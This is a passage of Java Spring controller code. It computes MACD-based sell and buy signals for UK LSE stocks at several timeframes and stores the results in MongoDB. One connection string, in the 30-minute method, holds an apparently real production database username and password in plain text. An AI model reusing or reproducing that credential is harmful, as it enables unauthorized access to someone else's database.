mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_15minsells.class);
} catch (Exception e) {
System.out.println(e);
} finally {
mongoClient.close();
}
if (queryresult_querytostopduplicate.size() == 0 && UK_LSE_15MinSell.isLastEventSell() == true) {
uk_lse_15minsells saveresult = UK_LSE__15MinSellRepository.insert(UK_LSE_15MinSell);
}
// TO DO price need to be populated
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/_30Min/SELL/UKEq/{company}", method = RequestMethod.GET)
public boolean findMACD30MinsSELLSignals_UK(@PathVariable String company) {
boolean execution_result = false;
int timeout = 3000;
int size = 0;
System.out.println(company);
double signal_average = 0.0;
// java.time.LocalDateTime buy_opportunity = null;
// java.time.LocalDateTime sell_opportunity = null;
// java.time.LocalDateTime last_opportunity = null;
String buy_opportunity = null;
String sell_opportunity = null;
String last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
double sell_price = 0.00;
double current_hist = 0.00;
double current_price = 0.00;
String current_time = null;
String feedURLFull = "https://markettechnicals-api.herokuapp.com/uk_lse_30mins/macd/read/" + company;
HttpGet request = null;
String url = feedURLFull;
String content = null;
JSONArray criteriaObject = null;
try {
HttpClient client = HttpClientBuilder.create().build();
request = new HttpGet(url);
request.addHeader("User-Agent", "Apache HTTPClient");
HttpResponse response = null;
try {
response = client.execute(request);
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
HttpEntity entity = response.getEntity();
try {
content = EntityUtils.toString(entity);
} catch (ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(content);
JSONParser parser = new JSONParser();
org.json.simple.JSONObject jsonresult = null;
try {
jsonresult = (org.json.simple.JSONObject) parser.parse(content);
} catch (org.json.simple.parser.ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try {
criteriaObject = (JSONArray) jsonresult.get("macdjson");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(criteriaObject.get(0));
// System.out.println(criteriaObject.get(1));
} finally {
if (request != null) {
request.releaseConnection();
}
}
try {
// System.out.println("MONTHLY SIGNALS:");
List macdData = criteriaObject;
size = macdData.size();
for (int i = size - 2, counter = 1; i >= 0; i--, counter++) {
// for (int i = 0, counter = 1; i <= size - 1; i++, counter++) {
// System.out.println(macdData.get(i));
String loopobj = macdData.get(i).toString();
String loopnextobj = macdData.get(i + 1).toString();
JSONParser loopparser = new JSONParser();
JSONParser loopnextparser = new JSONParser();
org.json.simple.JSONObject jsonloopresult = (org.json.simple.JSONObject) loopparser
.parse(macdData.get(i).toString());
org.json.simple.JSONObject jsonloopnextresult = (org.json.simple.JSONObject) loopnextparser
.parse(macdData.get(i + 1).toString());
String key = null;
String keynext = null;
for (Iterator iterator = jsonloopresult.keySet().iterator(); iterator.hasNext();) {
key = (String) iterator.next();
}
for (Iterator iteratornext = jsonloopnextresult.keySet().iterator(); iteratornext.hasNext();) {
keynext = (String) iteratornext.next();
}
JSONObject criterialoopObject = (JSONObject) jsonloopresult.get(key);
// System.out.println(key);
// System.out.println(criterialoopObject.get("MACD_Signal"));
// System.out.println(criterialoopObject.get("MACD_Hist"));
// System.out.println(criterialoopObject.get("Price"));
// System.out.println(criterialoopObject.get("MACD"));
JSONObject criterialoopnextObject = (JSONObject) jsonloopnextresult.get(keynext);
// System.out.println(keynext);
// System.out.println(criterialoopnextObject.get("MACD_Signal"));
// System.out.println(criterialoopnextObject.get("MACD_Hist"));
// System.out.println(criterialoopnextObject.get("Price"));
// System.out.println(criterialoopnextObject.get("MACD"));
/*
* already commented System.out.println("date: " +
* macdData.get(i).getDateTime()); System.out.println("MACD Histogram: " +
* macdData.get(i).getHist()); System.out.println("MACD Signal: " +
* macdData.get(i).getSignal()); System.out.println("MACD: " +
* macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1)
+ Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()))) / counter;
if (counter > 5 && counter - sell_counter >= 2 && i < size - 1
&& Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) > 0
&& Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average
* 1.5) {
sell_counter = counter;
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
sell_price = Float.parseFloat(criterialoopObject.get("Price").toString());
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) < 0 && Math.abs(
Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average) {
//
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
buy_opportunity = sell_opportunity;
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
if (i == 0) {
current_hist = Float.parseFloat(criterialoopObject.get("MACD_Hist").toString());
current_price = Float.parseFloat(criterialoopObject.get("Price").toString());
current_time = key;
}
}
} catch (Exception e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
uk_lse_30minsells UK_LSE_30MinSell = new uk_lse_30minsells();
UK_LSE_30MinSell.setMonth(new java.util.Date().getMonth());
UK_LSE_30MinSell.setYear(new java.util.Date().getYear());
UK_LSE_30MinSell.setCompany(company);
UK_LSE_30MinSell.setIndicator("LIVE");
UK_LSE_30MinSell.setConfidence_level(confidence_level);
UK_LSE_30MinSell.setLastSellEvent(sell_opportunity);
UK_LSE_30MinSell.setLastSellPrice(sell_price);
UK_LSE_30MinSell.setLastEvent(last_opportunity);
UK_LSE_30MinSell.setLastEventSell(isLastEventSell);
UK_LSE_30MinSell.setLastEventPrice(0.0);
UK_LSE_30MinSell.setLasttradedprice(sell_price);
// this block is to avoid duplicate signals to get inserted
List<uk_lse_30minsells> queryresult_querytostopduplicate = new ArrayList<>();
MongoClient mongoClient = MongoClients.create(
"mongodb+srv://marketwinks:L9sS6oOAk1sHL0yi@aws-eu-west1-cluster-tszuq.mongodb.net/marketwinksdbprod?retryWrites=true");
MongoTemplate mongoTemplate = new MongoTemplate(mongoClient, "marketwinksdbprod");
try {
Query querytostopduplicate = new Query();
querytostopduplicate.addCriteria(Criteria.where("company").is(company));
querytostopduplicate.addCriteria(Criteria.where("lastSellEvent").is(sell_opportunity));
queryresult_querytostopduplicate = mongoTemplate.find(querytostopduplicate, uk_lse_30minsells.class);
Query querytomarkexpired = new Query();
querytomarkexpired.addCriteria(Criteria.where("company").is(company));
querytomarkexpired.addCriteria(Criteria.where("indicator").is("LIVE"));
Update updatetomarkexpired = new Update();
updatetomarkexpired.set("indicator", "EXPIRED");
updatetomarkexpired.set("expirytime", current_time);
updatetomarkexpired.set("expiryprice", current_price);
if (current_hist < 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_30minbuys.class);
} else if (current_hist > 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_30minsells.class);
}
// FOR LTP UPDATE
Query querytoupdateLTP = new Query();
querytoupdateLTP.addCriteria(Criteria.where("company").is(company));
Update updatetoupdateLTP = new Update();
updatetoupdateLTP.set("lasttradedprice", current_price);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_30minbuys.class);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_30minsells.class);
} catch (Exception e) {
System.out.println(e);
} finally {
mongoClient.close();
}
if (queryresult_querytostopduplicate.size() == 0 && UK_LSE_30MinSell.isLastEventSell() == true) {
uk_lse_30minsells saveresult = UK_LSE__30MinSellRepository.insert(UK_LSE_30MinSell);
}
// TO DO price need to be populated
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/Hourly/SELL/UKEq/{company}", method = RequestMethod.GET)
public boolean findMACDHourlySELLSignals_UK(@PathVariable String company) {
boolean execution_result = false;
int timeout = 3000;
int size = 0;
System.out.println(company);
double signal_average = 0.0;
// java.time.LocalDateTime buy_opportunity = null;
// java.time.LocalDateTime sell_opportunity = null;
// java.time.LocalDateTime last_opportunity = null;
String buy_opportunity = null;
String sell_opportunity = null;
String last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
double sell_price = 0.00;
double current_hist = 0.00;
double current_price = 0.00;
String current_time = null;
String feedURLFull = "https://markettechnicals-api.herokuapp.com/uk_lse_hourly/macd/read/" + company;
HttpGet request = null;
String url = feedURLFull;
String content = null;
JSONArray criteriaObject = null;
try {
HttpClient client = HttpClientBuilder.create().build();
request = new HttpGet(url);
request.addHeader("User-Agent", "Apache HTTPClient");
HttpResponse response = null;
try {
response = client.execute(request);
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
HttpEntity entity = response.getEntity();
try {
content = EntityUtils.toString(entity);
} catch (ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(content);
JSONParser parser = new JSONParser();
org.json.simple.JSONObject jsonresult = null;
try {
jsonresult = (org.json.simple.JSONObject) parser.parse(content);
} catch (org.json.simple.parser.ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try {
criteriaObject = (JSONArray) jsonresult.get("macdjson");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(criteriaObject.get(0));
// System.out.println(criteriaObject.get(1));
} finally {
if (request != null) {
request.releaseConnection();
}
}
try {
// System.out.println("MONTHLY SIGNALS:");
List macdData = criteriaObject;
size = macdData.size();
for (int i = size - 2, counter = 1; i >= 0; i--, counter++) {
// for (int i = 0, counter = 1; i <= size - 1; i++, counter++) {
// System.out.println(macdData.get(i));
String loopobj = macdData.get(i).toString();
String loopnextobj = macdData.get(i + 1).toString();
JSONParser loopparser = new JSONParser();
JSONParser loopnextparser = new JSONParser();
org.json.simple.JSONObject jsonloopresult = (org.json.simple.JSONObject) loopparser
.parse(macdData.get(i).toString());
org.json.simple.JSONObject jsonloopnextresult = (org.json.simple.JSONObject) loopnextparser
.parse(macdData.get(i + 1).toString());
String key = null;
String keynext = null;
for (Iterator iterator = jsonloopresult.keySet().iterator(); iterator.hasNext();) {
key = (String) iterator.next();
}
for (Iterator iteratornext = jsonloopnextresult.keySet().iterator(); iteratornext.hasNext();) {
keynext = (String) iteratornext.next();
}
JSONObject criterialoopObject = (JSONObject) jsonloopresult.get(key);
// System.out.println(key);
// System.out.println(criterialoopObject.get("MACD_Signal"));
// System.out.println(criterialoopObject.get("MACD_Hist"));
// System.out.println(criterialoopObject.get("Price"));
// System.out.println(criterialoopObject.get("MACD"));
JSONObject criterialoopnextObject = (JSONObject) jsonloopnextresult.get(keynext);
// System.out.println(keynext);
// System.out.println(criterialoopnextObject.get("MACD_Signal"));
// System.out.println(criterialoopnextObject.get("MACD_Hist"));
// System.out.println(criterialoopnextObject.get("Price"));
// System.out.println(criterialoopnextObject.get("MACD"));
/*
* already commented System.out.println("date: " +
* macdData.get(i).getDateTime()); System.out.println("MACD Histogram: " +
* macdData.get(i).getHist()); System.out.println("MACD Signal: " +
* macdData.get(i).getSignal()); System.out.println("MACD: " +
* macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1)
+ Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()))) / counter;
if (counter > 5 && counter - sell_counter >= 2 && i < size - 1
&& Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) > 0
&& Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average
* 1.5) {
sell_counter = counter;
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
sell_price = Float.parseFloat(criterialoopObject.get("Price").toString());
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) < 0 && Math.abs(
Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average) {
//
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
buy_opportunity = sell_opportunity;
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
if (i == 0) {
current_hist = Float.parseFloat(criterialoopObject.get("MACD_Hist").toString());
current_price = Float.parseFloat(criterialoopObject.get("Price").toString());
current_time = key;
}
}
} catch (Exception e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
uk_lse_hourlysells UK_LSE_HourlySell = new uk_lse_hourlysells();
UK_LSE_HourlySell.setMonth(new java.util.Date().getMonth());
UK_LSE_HourlySell.setYear(new java.util.Date().getYear());
UK_LSE_HourlySell.setCompany(company);
UK_LSE_HourlySell.setIndicator("LIVE");
UK_LSE_HourlySell.setConfidence_level(confidence_level);
UK_LSE_HourlySell.setLastSellEvent(sell_opportunity);
UK_LSE_HourlySell.setLastSellPrice(sell_price);
UK_LSE_HourlySell.setLastEvent(last_opportunity);
UK_LSE_HourlySell.setLastEventSell(isLastEventSell);
UK_LSE_HourlySell.setLastEventPrice(0.0);
UK_LSE_HourlySell.setLasttradedprice(sell_price);
// this block is to avoid duplicate signals to get inserted
List<uk_lse_hourlysells> queryresult_querytostopduplicate = new ArrayList<>();
MongoClient mongoClient = MongoClients.create(
"mongodb+srv://marketwinks:<EMAIL>/marketwinksdbprod?retryWrites=true");
MongoTemplate mongoTemplate = new MongoTemplate(mongoClient, "marketwinksdbprod");
try {
Query querytostopduplicate = new Query();
querytostopduplicate.addCriteria(Criteria.where("company").is(company));
querytostopduplicate.addCriteria(Criteria.where("lastSellEvent").is(sell_opportunity));
queryresult_querytostopduplicate = mongoTemplate.find(querytostopduplicate, uk_lse_hourlysells.class);
Query querytomarkexpired = new Query();
querytomarkexpired.addCriteria(Criteria.where("company").is(company));
querytomarkexpired.addCriteria(Criteria.where("indicator").is("LIVE"));
Update updatetomarkexpired = new Update();
updatetomarkexpired.set("indicator", "EXPIRED");
updatetomarkexpired.set("expirytime", current_time);
updatetomarkexpired.set("expiryprice", current_price);
if (current_hist < 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_hourlybuys.class);
} else if (current_hist > 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_hourlysells.class);
}
// FOR LTP UPDATE
Query querytoupdateLTP = new Query();
querytoupdateLTP.addCriteria(Criteria.where("company").is(company));
Update updatetoupdateLTP = new Update();
updatetoupdateLTP.set("lasttradedprice", current_price);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_hourlybuys.class);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_hourlysells.class);
} catch (Exception e) {
System.out.println(e);
} finally {
mongoClient.close();
}
if (queryresult_querytostopduplicate.size() == 0 && UK_LSE_HourlySell.isLastEventSell() == true) {
uk_lse_hourlysells saveresult = UK_LSE__HourlySellRepository.insert(UK_LSE_HourlySell);
}
// TO DO price need to be populated
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/Daily/SELL/UKEq/{company}", method = RequestMethod.GET)
public boolean findMACDDailySELLSignals_UK(@PathVariable String company) {
boolean execution_result = false;
int timeout = 3000;
int size = 0;
System.out.println(company);
double signal_average = 0.0;
// java.time.LocalDateTime buy_opportunity = null;
// java.time.LocalDateTime sell_opportunity = null;
// java.time.LocalDateTime last_opportunity = null;
String buy_opportunity = null;
String sell_opportunity = null;
String last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
double sell_price = 0.00;
double current_hist = 0.00;
double current_price = 0.00;
String current_time = null;
String feedURLFull = "https://markettechnicals-api.herokuapp.com/uk_lse_daily/macd/read/" + company;
HttpGet request = null;
String url = feedURLFull;
String content = null;
JSONArray criteriaObject = null;
try {
HttpClient client = HttpClientBuilder.create().build();
request = new HttpGet(url);
request.addHeader("User-Agent", "Apache HTTPClient");
HttpResponse response = null;
try {
response = client.execute(request);
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
HttpEntity entity = response.getEntity();
try {
content = EntityUtils.toString(entity);
} catch (ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(content);
JSONParser parser = new JSONParser();
org.json.simple.JSONObject jsonresult = null;
try {
jsonresult = (org.json.simple.JSONObject) parser.parse(content);
} catch (org.json.simple.parser.ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try {
criteriaObject = (JSONArray) jsonresult.get("macdjson");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(criteriaObject.get(0));
// System.out.println(criteriaObject.get(1));
} finally {
if (request != null) {
request.releaseConnection();
}
}
try {
// System.out.println("MONTHLY SIGNALS:");
List macdData = criteriaObject;
size = macdData.size();
for (int i = size - 2, counter = 1; i >= 0; i--, counter++) {
// for (int i = 0, counter = 1; i <= size - 1; i++, counter++) {
// System.out.println(macdData.get(i));
String loopobj = macdData.get(i).toString();
String loopnextobj = macdData.get(i + 1).toString();
JSONParser loopparser = new JSONParser();
JSONParser loopnextparser = new JSONParser();
org.json.simple.JSONObject jsonloopresult = (org.json.simple.JSONObject) loopparser
.parse(macdData.get(i).toString());
org.json.simple.JSONObject jsonloopnextresult = (org.json.simple.JSONObject) loopnextparser
.parse(macdData.get(i + 1).toString());
String key = null;
String keynext = null;
for (Iterator iterator = jsonloopresult.keySet().iterator(); iterator.hasNext();) {
key = (String) iterator.next();
}
for (Iterator iteratornext = jsonloopnextresult.keySet().iterator(); iteratornext.hasNext();) {
keynext = (String) iteratornext.next();
}
JSONObject criterialoopObject = (JSONObject) jsonloopresult.get(key);
// System.out.println(key);
// System.out.println(criterialoopObject.get("MACD_Signal"));
// System.out.println(criterialoopObject.get("MACD_Hist"));
// System.out.println(criterialoopObject.get("Price"));
// System.out.println(criterialoopObject.get("MACD"));
JSONObject criterialoopnextObject = (JSONObject) jsonloopnextresult.get(keynext);
// System.out.println(keynext);
// System.out.println(criterialoopnextObject.get("MACD_Signal"));
// System.out.println(criterialoopnextObject.get("MACD_Hist"));
// System.out.println(criterialoopnextObject.get("Price"));
// System.out.println(criterialoopnextObject.get("MACD"));
/*
* already commented System.out.println("date: " +
* macdData.get(i).getDateTime()); System.out.println("MACD Histogram: " +
* macdData.get(i).getHist()); System.out.println("MACD Signal: " +
* macdData.get(i).getSignal()); System.out.println("MACD: " +
* macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1)
+ Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()))) / counter;
if (counter > 5 && counter - sell_counter >= 2 && i < size - 1
&& Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) > 0
&& Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average
* 1.5) {
sell_counter = counter;
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
sell_price = Float.parseFloat(criterialoopObject.get("Price").toString());
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) < 0 && Math.abs(
Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average) {
//
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
buy_opportunity = sell_opportunity;
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
if (i == 0) {
current_hist = Float.parseFloat(criterialoopObject.get("MACD_Hist").toString());
current_price = Float.parseFloat(criterialoopObject.get("Price").toString());
current_time = key;
}
}
} catch (Exception e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
uk_lse_dailysells UK_LSE_DailySell = new uk_lse_dailysells();
UK_LSE_DailySell.setMonth(new java.util.Date().getMonth());
UK_LSE_DailySell.setYear(new java.util.Date().getYear());
UK_LSE_DailySell.setCompany(company);
UK_LSE_DailySell.setIndicator("LIVE");
UK_LSE_DailySell.setConfidence_level(confidence_level);
UK_LSE_DailySell.setLastSellEvent(sell_opportunity);
UK_LSE_DailySell.setLastSellPrice(sell_price);
UK_LSE_DailySell.setLastEvent(last_opportunity);
UK_LSE_DailySell.setLastEventSell(isLastEventSell);
UK_LSE_DailySell.setLastEventPrice(0.0);
UK_LSE_DailySell.setLasttradedprice(sell_price);
List<uk_lse_dailysells> queryresult_querytostopduplicate = new ArrayList<>();
MongoClient mongoClient = MongoClients.create(
"mongodb+srv://marketwinks:<EMAIL>/marketwinksdbprod?retryWrites=true");
MongoTemplate mongoTemplate = new MongoTemplate(mongoClient, "marketwinksdbprod");
try {
Query querytostopduplicate = new Query();
querytostopduplicate.addCriteria(Criteria.where("company").is(company));
querytostopduplicate.addCriteria(Criteria.where("lastSellEvent").is(sell_opportunity));
queryresult_querytostopduplicate = mongoTemplate.find(querytostopduplicate, uk_lse_dailysells.class);
Query querytomarkexpired = new Query();
querytomarkexpired.addCriteria(Criteria.where("company").is(company));
querytomarkexpired.addCriteria(Criteria.where("indicator").is("LIVE"));
Update updatetomarkexpired = new Update();
updatetomarkexpired.set("indicator", "EXPIRED");
updatetomarkexpired.set("expirytime", current_time);
updatetomarkexpired.set("expiryprice", current_price);
if (current_hist < 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_dailybuys.class);
} else if (current_hist > 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_dailysells.class);
}
// FOR LTP UPDATE
Query querytoupdateLTP = new Query();
querytoupdateLTP.addCriteria(Criteria.where("company").is(company));
Update updatetoupdateLTP = new Update();
updatetoupdateLTP.set("lasttradedprice", current_price);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_dailybuys.class);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_dailysells.class);
} catch (Exception e) {
System.out.println(e);
} finally {
mongoClient.close();
}
if (queryresult_querytostopduplicate.size() == 0 && UK_LSE_DailySell.isLastEventSell() == true) {
uk_lse_dailysells saveresult = UK_LSE__DailySellRepository.insert(UK_LSE_DailySell);
}
// TO DO price need to be populated
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/Weekly/SELL/UKEq/{company}", method = RequestMethod.GET)
public boolean findMACDWeeklySELLSignals_UK(@PathVariable String company) {
boolean execution_result = false;
int timeout = 3000;
int size = 0;
System.out.println(company);
double signal_average = 0.0;
// java.time.LocalDateTime buy_opportunity = null;
// java.time.LocalDateTime sell_opportunity = null;
// java.time.LocalDateTime last_opportunity = null;
String buy_opportunity = null;
String sell_opportunity = null;
String last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
double sell_price = 0.00;
double current_hist = 0.00;
double current_price = 0.00;
String current_time = null;
String feedURLFull = "https://markettechnicals-api.herokuapp.com/uk_lse_weekly/macd/read/" + company;
HttpGet request = null;
String url = feedURLFull;
String content = null;
JSONArray criteriaObject = null;
try {
HttpClient client = HttpClientBuilder.create().build();
request = new HttpGet(url);
request.addHeader("User-Agent", "Apache HTTPClient");
HttpResponse response = null;
try {
response = client.execute(request);
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
HttpEntity entity = response.getEntity();
try {
content = EntityUtils.toString(entity);
} catch (ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(content);
JSONParser parser = new JSONParser();
org.json.simple.JSONObject jsonresult = null;
try {
jsonresult = (org.json.simple.JSONObject) parser.parse(content);
} catch (org.json.simple.parser.ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try {
criteriaObject = (JSONArray) jsonresult.get("macdjson");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(criteriaObject.get(0));
// System.out.println(criteriaObject.get(1));
} finally {
if (request != null) {
request.releaseConnection();
}
}
try {
// System.out.println("MONTHLY SIGNALS:");
List macdData = criteriaObject;
size = macdData.size();
for (int i = size - 2, counter = 1; i >= 0; i--, counter++) {
// for (int i = 0, counter = 1; i <= size - 1; i++, counter++) {
// System.out.println(macdData.get(i));
String loopobj = macdData.get(i).toString();
String loopnextobj = macdData.get(i + 1).toString();
JSONParser loopparser = new JSONParser();
JSONParser loopnextparser = new JSONParser();
org.json.simple.JSONObject jsonloopresult = (org.json.simple.JSONObject) loopparser
.parse(macdData.get(i).toString());
org.json.simple.JSONObject jsonloopnextresult = (org.json.simple.JSONObject) loopnextparser
.parse(macdData.get(i + 1).toString());
String key = null;
String keynext = null;
for (Iterator iterator = jsonloopresult.keySet().iterator(); iterator.hasNext();) {
key = (String) iterator.next();
}
for (Iterator iteratornext = jsonloopnextresult.keySet().iterator(); iteratornext.hasNext();) {
keynext = (String) iteratornext.next();
}
JSONObject criterialoopObject = (JSONObject) jsonloopresult.get(key);
// System.out.println(key);
// System.out.println(criterialoopObject.get("MACD_Signal"));
// System.out.println(criterialoopObject.get("MACD_Hist"));
// System.out.println(criterialoopObject.get("Price"));
// System.out.println(criterialoopObject.get("MACD"));
JSONObject criterialoopnextObject = (JSONObject) jsonloopnextresult.get(keynext);
// System.out.println(keynext);
// System.out.println(criterialoopnextObject.get("MACD_Signal"));
// System.out.println(criterialoopnextObject.get("MACD_Hist"));
// System.out.println(criterialoopnextObject.get("Price"));
